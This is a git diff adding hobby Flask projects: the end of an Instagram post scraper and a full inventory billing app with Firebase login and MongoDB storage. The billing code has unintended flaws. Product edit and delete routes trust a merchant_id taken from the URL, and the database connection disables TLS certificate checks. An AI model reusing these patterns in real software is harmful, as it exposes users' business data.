jmespath.search("""{ + shortcode: shortcode, + likes: edge_media_preview_like.count, + comments: edge_media_to_comment.count + }""", data) + return result + +def scrape_user_posts(user_id: str, session: httpx.Client, page_size=12): + base_url = "https://www.instagram.com/graphql/query/?query_hash=e769aa130647d2354c40ea6a439bfc08&variables=" + variables = { + "id": user_id, + "first": page_size, + "after": None, + } + _page_number = 1 + while True: + resp = session.get(base_url + quote(json.dumps(variables))) + all_posts_data = resp.json() + posts = all_posts_data["data"]["user"]["edge_owner_to_timeline_media"] + for post in posts.get("edges"): + yield parse_post(post.get("node")) # note: we're using parse_post function from previous chapter + page_info = posts.get("page_info") + if _page_number == 1: + print(f"scraping total {posts['count']} posts of {user_id}") + else: + print(f"scraping page {_page_number}") + if not page_info["has_next_page"]: + break + if variables["after"] == page_info["end_cursor"]: + break + variables["after"] = page_info["end_cursor"] + _page_number += 1 + + +def get_all_posts(user_id): + with httpx.Client(timeout=None) as session: + posts = list(scrape_user_posts(str(user_id), session)) + return posts \ No newline at end of file diff --git a/FLASK PROJECTS/Instagram Scraper using Flask/requirements.txt b/FLASK PROJECTS/Instagram Scraper using Flask/requirements.txt new file mode 100644 index 00000000..f990f1d0 --- /dev/null +++ b/FLASK PROJECTS/Instagram Scraper using Flask/requirements.txt @@ -0,0 +1,5 @@ +Flask +instaloader +flask-cors +httpx +jmespath \ No newline at end of file diff --git a/FLASK PROJECTS/Instagram Scraper using Flask/start_server.sh b/FLASK PROJECTS/Instagram Scraper using Flask/start_server.sh new file mode 100644 index 00000000..f2738305 --- /dev/null +++ b/FLASK PROJECTS/Instagram Scraper using Flask/start_server.sh @@ -0,0 +1 @@ +python app.py \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/.gitignore b/FLASK PROJECTS/Inventory Billing Management System using Flask/.gitignore new file mode 100644 index 00000000..693ed189 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/.gitignore @@ -0,0 +1,3 @@ +*.pyc +/__pycache__ +.env \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/README.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/README.md new file mode 100644 index 00000000..5a9c7742 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/README.md @@ -0,0 +1,114 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# BillSwift: Inventory Billing Management System + +[Project Deployment Link](https://billswift.vercel.app/login) + +## ðŸ› ï¸ Description +BillSwift is a comprehensive billing solution that empowers merchants to effortlessly create, generate, and manage bills, track inventory and products, and optimize their billing processes. With BillSwift, you can bid farewell to tedious paperwork and embrace a more efficient way of running your business. +### 🌟 Key Features: +- Intuitive Bill Creation: Easily create professional invoices allowing you to add your branding and personal touch. +- Inventory Management: Keep track of your products and manage stock levels. +- Bill Tracking: Monitor the status of your bills, know which ones are paid and pending, and never miss a payment again. + +## âš™ï¸ Languages or Frameworks Used + - Flask + - Firebase (for Authentication) + - MongoDB (for data storage) + +## 🌟 How to run + - ### Install all the requirements + Run `pip install -r requirements.txt` to install all the requirements. + - ### Firebase Setup for Project + + - Create a [firebase](https://firebase.google.com/) project, set up a web project and get all the `Project Configurations` from `Project Settings`. + + - Navigate to the **Authentication** section in your firebase project and enable the `Email and Password` + authentication. + + - The `Project Configurations` will look as follows :- +```bash + "apiKey": YOUR_API_KEY , + "authDomain": YOUR_AUTH_DOMAIN, + "databaseURL": YOUR_DATABASEURL, + "projectId": YOUR_PROJECT_ID, + "storageBucket": YOUR_STORAGE_BUCKET, + "messagingSenderId": YOUR_MESSAGING_SENDER_ID, + "appId": YOUR_APP_ID, + "measurementId": YOUR_MEASUREMENT_ID +``` +- ### MongoDB Setup for Project + + - Download monogdb from the [official website](https://www.mongodb.com/try/download/community) and setup in your local system for testing. + - Once it is setup locally, try creating documents and collections in mongodb to familiarize yourself with it. + - You can also download the `MongoDB Compass`, which is the GUI version of Mongo Shell. + - Once all the local testing is done, you can create a free cloud version of MongoDB in [MongoDB Atlas](https://www.mongodb.com/cloud/atlas/register) and get the following credentials from the dashboard of atlas: + ```bash +MONGO_URI=YOUR_MONGO_URI +MONGO_USERNAME=YOUR_MONGO_USERNAME +MONGO_PASSWORD=YOUR_MONGO_PASSWORD +``` +- ### Setup Environment for the project + - Now create a `.env` file in your project dreictory and include the following parameters as it is :- +```bash +export ENVIRONMENT=local/production +export APP_SECRET=YOUR_APP_SECRET +export MONGO_URI=YOUR_MONGO_URI +export MONGO_USERNAME=YOUR_MONGO_USERNAME +export MONGO_PASSWORD=YOUR_MONGO_PASSWORD +export DB_NAME=YOUR_MONGODB_DATABASE_NAME +export FIREBASE_APIKEY=YOUR_API_KEY +export FIREBASE_AUTHDOMAIN=YOUR_AUTH_DOMAIN +export FIREBASE_DATABASEURL=YOUR_DATABASEURL +export FIREBASE_PROJECT_ID=YOUR_PROJECT_ID +export FIREBASE_STORAGE_BUCKET=YOUR_STORAGE_BUCKET +export FIREBASE_MESSAGING_SENDER_ID=YOUR_MESSAGING_SENDER_ID +export FIREBASE_APP_ID=YOUR_APP_ID +export FIREBASE_MEASUREMENT_ID=YOUR_MEASUREMENT_ID +``` +- ### Now Just, Run the project + - To the run the project, go to the `bash` terminal of VSCode or any other code editor and run `./start_server.sh`. + - The server would start running on `http://127.0.0.1:{port_number}`.(generally http://127.0.0.1:5000) + + - ### Login/Signup as a user + Since, you are a new user, singup in the application and then login. Then, Start Exploring the project! + > Note: **You will recieve a email verification mail from firebase upon singup and then only you can proceed** + + +## 📺 Demo +- Login/Singup Screen. + +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/1a9738b0-106e-4b49-84e4-29713e260fed) +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/cccb7c3a-9436-4db3-b535-6a7678c2273d) + +- Main screen of the application (Bill generation) +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/88acfd54-8f9a-4f2a-a6f2-d4f5464733c1) + +- Product Screen/ Adding products + +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/ebcdd3fd-89fb-427b-b458-2adc6fd3a39a) +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/d9aaf039-04dd-42b9-b326-c8080cd879cb) + +> Note: **This is where you can manage the inventory of a product by editing it.** + +- All Bills Page + +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/53a60ec6-aa3d-44d8-960e-cc885ac31b60) + +- Bill generation in PDF Format. + +![image](https://github.com/MBSA-INFINITY/Python-project-Scripts/assets/85332648/7a498083-75d6-40c4-a928-065933841269) + + + + + + + +## 🤖 Author +Github - [MBSA-INFINITY](https://github.com/MBSA-INFINITY) +LinkedIn - [MBSAIADITYA](https://www.linkedin.com/in/mbsaiaditya/) +Portfolio - [MBSA](https://mbsaiaditya.in/) +Instagram - [MBSAIADITYA](https://instagram.com/mbsaiaditya) diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/app.py b/FLASK PROJECTS/Inventory Billing Management System using Flask/app.py new file mode 100644 index 00000000..e6c998df --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/app.py @@ -0,0 +1,236 @@ +from flask import Flask, render_template, request, redirect, abort, flash, session ,url_for +from werkzeug.exceptions import HTTPException +from firebase import Firebase +import json +from datetime import datetime +from db import products_collection, invoices_collection, users_collection +from helper import * +import os + +app = Flask(__name__) +app.secret_key = os.environ['APP_SECRET'] + +config = { + "apiKey": os.environ.get("FIREBASE_APIKEY"), + "authDomain": os.environ.get("FIREBASE_AUTHDOMAIN"), + "databaseURL": os.environ.get("FIREBASE_DATABASEURL"), + "projectId": os.environ.get("FIREBASE_PROJECT_ID"), + "storageBucket": os.environ.get("FIREBASE_STORAGE_BUCKET"), + "messagingSenderId": os.environ.get("FIREBASE_MESSAGING_SENDER_ID"), + "appId": os.environ.get("FIREBASE_APP_ID"), + "measurementId": os.environ.get("FIREBASE_MEASUREMENT_ID") + } + +firebase = Firebase(config) +db = firebase.database() +auth = firebase.auth() + +exempted_endpoints = ['signup','login','static'] + +@app.route("/signup", methods = ['GET','POST']) +def signup(): + if request.method=='POST': + name = request.form.get("name") + username = request.form.get("email") + password = request.form.get("password") + repassword = request.form.get("repassword") + user_details = {"name": name,"email": username} + if password == repassword: + if len(password)>=6: + try: + _user_ = auth.create_user_with_email_and_password(username ,password) + auth.send_email_verification(_user_['idToken']) + user_details['merchant_id'] = _user_['localId'] + users_collection.insert_one(user_details) + return render_template("success.html") + except Exception as e: + return redirect(url_for('login')) + else: + flash('Password is less than 6 characters!') + return redirect("/signup") + else: + flash('Both Passwords do not match!') + return redirect("/signup") + return render_template("signup.html") + +@app.route("/login",methods = ['GET','POST'] ) +def login(): + if request.method == 'POST': + data = dict(request.form) + email = data.get("email") + password = data.get("password") + user_details = users_collection.find_one({"email": email},{"_id": 0}) + if user_details: + user = auth.sign_in_with_email_and_password(email ,password) + access_token = user['idToken'] + acc_info = auth.get_account_info(access_token) + print(acc_info) + if not acc_info.get("users")[0].get("emailVerified"): + abort(500,{"message": f"{email} is not verified!"}) + user_details = users_collection.find_one({"email": email, "merchant_id": user['localId']},{"_id": 0}) + if user_details: + session['user'] = user['localId'] + return redirect("/") + else: + abort(500,{"message": "Username or Password is Invalid!!"}) + + else: + flash("User doesn't exist!") + return redirect("/login") + if 'user' in session: + return redirect("/") + return render_template("login.html") + + +@app.route("/",methods = ['GET','POST']) +def start(): + products = list(products_collection.find({"merchant_id": session.get('user')},{"_id":0,"created_on": 0})) + return render_template("index.html",_products_=json.dumps(products)) + +@app.route("/checkout",methods = ['POST']) +def checkout(): + bill_data = dict(request.form) + dt_string = datetime.now() + bill_data['created_on'] = dt_string + bill_data['merchant_id'] = session.get('user') + bill_data['selected_products'] = json.loads(bill_data['selected_products']) + unavailable_items = [] + for product in bill_data['selected_products']: + item_id = product['item_id'] + qty = int(product['qty']) + product_details = products_collection.find_one({"merchant_id": session.get('user'),"item_id": item_id}) + current_stock = product_details.get("item_stock") + item_name = product_details.get("name") + if int(current_stock)<=int(qty): + unavailable_items.append(item_name) + if unavailable_items == []: + for product in bill_data['selected_products']: + item_id = product['item_id'] + qty = int(product['qty']) + products_collection.update_one({"merchant_id":session.get('user'),"item_id":item_id},{"$inc":{"item_stock": -qty}}) + # return bill_data + bill_id = random_id(10) + if bill_data.get("payment_status") == "paid": + bill_data['amount_to_be_collected'] = "0" + bill_data['bill_id'] = bill_id + invoices_collection.insert_one(bill_data) + return redirect(f"/bill/{bill_id}") + else: + for item in unavailable_items: + flash(f"{item} is out of stock!") + return redirect("/") + +@app.route("/bill/", methods=['GET','POST']) +def bill(bill_key): + if request.method == 'POST': + incoming_updates = dict(request.form) + if incoming_updates['payment_status'] == 'paid': + incoming_updates['amount_to_be_collected'] = "0" + incoming_updates['paid_amount'] = incoming_updates['checkout_amount'].replace(",",'') + elif incoming_updates['payment_status'] == 'unpaid': + incoming_updates['amount_to_be_collected'] = incoming_updates['checkout_amount'].replace(",",'') + incoming_updates['paid_amount'] = "0" + invoices_collection.update_one({"merchant_id":session.get('user'),"bill_id": bill_key},{"$set":incoming_updates}) + return redirect(f"/bill/{bill_key}") + try: + bill_details = invoices_collection.find_one({"merchant_id": session.get('user'),"bill_id": bill_key},{"_id":0,"created_on": 0}) + except: + bill_details = None + if bill_details is not None: + return render_template("bill.html",bill_key=bill_key, bill_details=json.dumps(bill_details),bill_details_json=bill_details) + else: + abort(404, + { + "message": f"Bill with Bill ID '{bill_key}' doesn't exist" + }) + +@app.route("/products", methods = ['GET','POST']) +def products(): + if request.method == 'POST': + item_data = dict(request.form) + item_data['item_stock'] = int(item_data['item_stock']) + dt_string = datetime.now() + item_data['created_on'] = dt_string + item_data['merchant_id'] = session.get('user') + item_data['item_id'] = random_id(10) + products_collection.insert_one(item_data) + return redirect("/products/0") + return redirect('/products/0') + +@app.route("/products/", methods = ['GET','POST']) +def products_idx(page_index): + if request.method == "POST": + query = request.form.get("search") + page_size = 10 + pipeline = [{"$match":{"merchant_id": session.get('user')}},{"$project":{"_id":0}}] + res= [] + products = list(products_collection.aggregate(pipeline)) + for product in products: + if query in product.get("name").lower(): + res.append(product) + return render_template("products.html",products=res,total_pages=0,page_size=page_size, page_index=0,merchant_id=session.get('user'), handle_catch=handle_catch) + page_size = 10 + pipeline = [{"$match":{"merchant_id": session.get('user')}},{"$project":{"_id":0}},{'$skip': int(page_index)*page_size}, {'$limit': page_size}] + products = products_collection.aggregate(pipeline) + temp = len(list(products_collection.find({"merchant_id":session.get("user")},{"_id":0}))) + if temp%page_size == 0: + total_pages = temp//page_size + else: + total_pages = temp//page_size + 1 + + return render_template("products.html",products=products,total_pages=total_pages,page_size=page_size, page_index=page_index,merchant_id=session.get('user'), handle_catch=handle_catch) + +@app.route("/products///", methods = ['POST']) +def products_update(merchant_id, item_id,page_index): + item_data = dict(request.form) + item_data['item_stock'] = int(item_data['item_stock'] ) + products_collection.update_one({"item_id": item_id,"merchant_id": merchant_id},{"$set":item_data}) + return redirect(f"/products/{page_index}") + +@app.route("/products_delete///", methods = ['POST']) +def products_delete(merchant_id, item_id,page_index): + products_collection.delete_one({"item_id": item_id,"merchant_id": merchant_id}) + return redirect(f"/products/{page_index}") + +@app.route("/bills", methods = ['GET','POST']) +def bills_temp(): + return redirect("/bills/0") + +@app.route("/bills/", methods = ['GET','POST']) +def bills(page_index): + if request.method == "POST": + payment_status_filter = str(request.form.get("payment_status")) + page_size = 10 + if payment_status_filter!="": + pipeline = [{"$match":{"merchant_id": session.get('user'),"payment_status":payment_status_filter}},{"$project":{"_id":0}}] + else: + return redirect("/bills/0") + all_bills = list(invoices_collection.aggregate(pipeline)) + return render_template("bills.html",all_bills=all_bills,total_pages=0,page_size=page_size, page_index=0,merchant_id=session.get('user'), handle_catch=handle_catch) + page_size = 10 + pipeline = [{"$match":{"merchant_id": session.get('user')}},{"$project":{"_id":0}},{'$skip': int(page_index)*page_size}, {'$limit': page_size}] + all_bills = invoices_collection.aggregate(pipeline) + temp = len(list(invoices_collection.find({"merchant_id":session.get("user")},{"_id":0}))) + if temp%page_size == 0: + total_pages = temp//page_size + else: + total_pages = temp//page_size +1 + + # all_bills = invoices_collection.find({"merchant_id":session.get('user')},{"_id":0}) + return render_template("bills.html", all_bills=all_bills,total_pages=total_pages,page_index=page_index, page_size=page_size,handle_catch=handle_catch) + +@app.route("/logout", methods = ['GET','POST']) +def logout(): + session.pop('user') + return redirect("/login") + +@app.before_request +def before_request_func(): + if request.endpoint in exempted_endpoints: + return + if 'user' not in session: + return redirect(url_for('login')) + + +if __name__ == '__main__': + app.run(debug=True, port=5000) \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/db.py b/FLASK PROJECTS/Inventory Billing Management System using Flask/db.py new file mode 100644 index 00000000..b2fabd6b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/db.py @@ -0,0 +1,21 @@ +import os +import pymongo + +ENVIRONMENT = os.environ["ENVIRONMENT"] +if ENVIRONMENT == "local": + connection_string = "mongodb://localhost:27017" + DB_NAME = "billing_system" +else: + MONGO_CLUSTER = os.environ["MONGO_URI"] + MONGO_USERNAME = os.environ["MONGO_USERNAME"] + MONGO_PASSWORD = os.environ["MONGO_PASSWORD"] + DB_NAME = os.environ["DB_NAME"] + connection_string = f"mongodb+srv://{MONGO_USERNAME}:{MONGO_PASSWORD}@{MONGO_CLUSTER}/?retryWrites=true&ssl=true&ssl_cert_reqs=CERT_NONE&w=majority" + + +db_client = pymongo.MongoClient(connection_string) +db_client = db_client.get_database(DB_NAME) + +products_collection = db_client['products'] +invoices_collection = db_client['invoices'] +users_collection = db_client['users'] \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/helper.py b/FLASK PROJECTS/Inventory Billing Management System using Flask/helper.py new file mode 100644 index 00000000..12c8baf4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/helper.py @@ -0,0 +1,12 @@ +import string, random + +def random_id(N): + res = ''.join(random.choices(string.ascii_lowercase + + string.ascii_uppercase, k=N)) + return res + +def handle_catch(caller, on_exception): + try: + return caller() + except: + return on_exception \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/requirements.txt b/FLASK PROJECTS/Inventory Billing Management System using Flask/requirements.txt new file mode 100644 index 00000000..bc83a668 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/requirements.txt @@ -0,0 +1,9 @@ +Flask==2.0.1 +pymongo[srv]==4.3.3 +firebase==3.0.1 +python-jwt==4.0.0 +gcloud==0.18.3 +sseclient==0.0.27 +pycryptodome==3.18.0 +requests-toolbelt==0.10.1 +urllib3==1.26.15 \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/start_server.sh b/FLASK PROJECTS/Inventory Billing Management System using Flask/start_server.sh new file mode 100644 index 00000000..df506db7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/start_server.sh @@ -0,0 +1,2 @@ +source .env +python app.py \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/css/bootstrap.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/css/bootstrap.min.css new file mode 100644 index 00000000..02ae65b5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/css/bootstrap.min.css @@ -0,0 +1,7 @@ +@charset "UTF-8";/*! + * Bootstrap v5.1.0 (https://getbootstrap.com/) + * Copyright 2011-2021 The Bootstrap Authors + * Copyright 2011-2021 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-body-rgb:33,37,41;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-bg:#fff}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;background-color:currentColor;border:0;opacity:.25}hr:not([size]){height:1px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){.h1,h1{font-size:2.5rem}}.h2,h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){.h2,h2{font-size:2rem}}.h3,h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){.h3,h3{font-size:1.75rem}}.h4,h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){.h4,h4{font-size:1.5rem}}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[data-bs-original-title],abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.2em;background-color:#fcf8e3}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#0d6efd;text-decoration:underline}a:hover{color:#0a58ca}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em;direction:ltr;unicode-bidi:bidi-override}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:#d63384;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:.875em;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:1em;font-weight:700}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]::-webkit-calendar-picker-indicator{display:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::file-selector-button{font:inherit}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:.875em;color:#6c757d}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{width:100%;padding-right:var(--bs-gutter-x,.75rem);padding-left:var(--bs-gutter-x,.75rem);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}@media (min-width:1400px){.container,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{max-width:1320px}}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(var(--bs-gutter-y) * -1);margin-right:calc(var(--bs-gutter-x) * -.5);margin-left:calc(var(--bs-gutter-x) * -.5)}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.6666666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x:0}.g-0,.gy-0{--bs-gutter-y:0}.g-1,.gx-1{--bs-gutter-x:0.25rem}.g-1,.gy-1{--bs-gutter-y:0.25rem}.g-2,.gx-2{--bs-gutter-x:0.5rem}.g-2,.gy-2{--bs-gutter-y:0.5rem}.g-3,.gx-3{--bs-gutter-x:1rem}.g-3,.gy-3{--bs-gutter-y:1rem}.g-4,.gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 